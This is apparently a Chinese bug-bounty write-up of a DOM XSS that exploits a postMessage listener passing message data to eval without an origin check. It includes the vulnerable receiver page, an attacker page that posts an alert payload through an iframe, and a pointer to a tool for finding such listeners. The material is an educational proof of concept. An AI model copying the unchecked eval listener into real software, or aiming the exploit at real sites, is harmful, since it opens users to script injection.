<html><title>dom-xss show time</title>
<body>
<h1>演示</h1>
<script>
// 接收方页面
window.addEventListener("message", function(event) {
console.log("有人约我了!他对我说:",event.data)
var message = event.data;
eval(message)
});
</script>
</body>
</html>
postMessage(message, targetOrigin)
攻击场景:
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>攻击站点</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<h1>Exp页面</h1>
<body>
<iframe id="target"></iframe>
<script>
var target = document.getElementById("target");
target.addEventListener('load', () => {
target.contentWindow.postMessage('alert("靓仔")', '*')
})
target.src = "https://target.captainxu.repl.co"</script>
</body>
</html>
代码如下:
<html>
<title>dom-xss show time</title>
<body>
<h1>漏洞网站</h1>
<script>
// 接收方页面
window.addEventListener("message", function (event) {
console.log("有人约我了!他对我说:", event.data)
var message = event.data;
eval(message)
});
</script>
</body>
</html>
https://github.com/fransr/postMessage-tracker
安装之后,只要是当前页面创建了message事件监听,这个插件就会定位到其代码。
看到验证origin的可以直接忽略,有时也会存在绕过,具体情况具体分析。
原文始发于微信公众号(bgbing安全):垃圾洞,在SRC捡了1w赏金。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论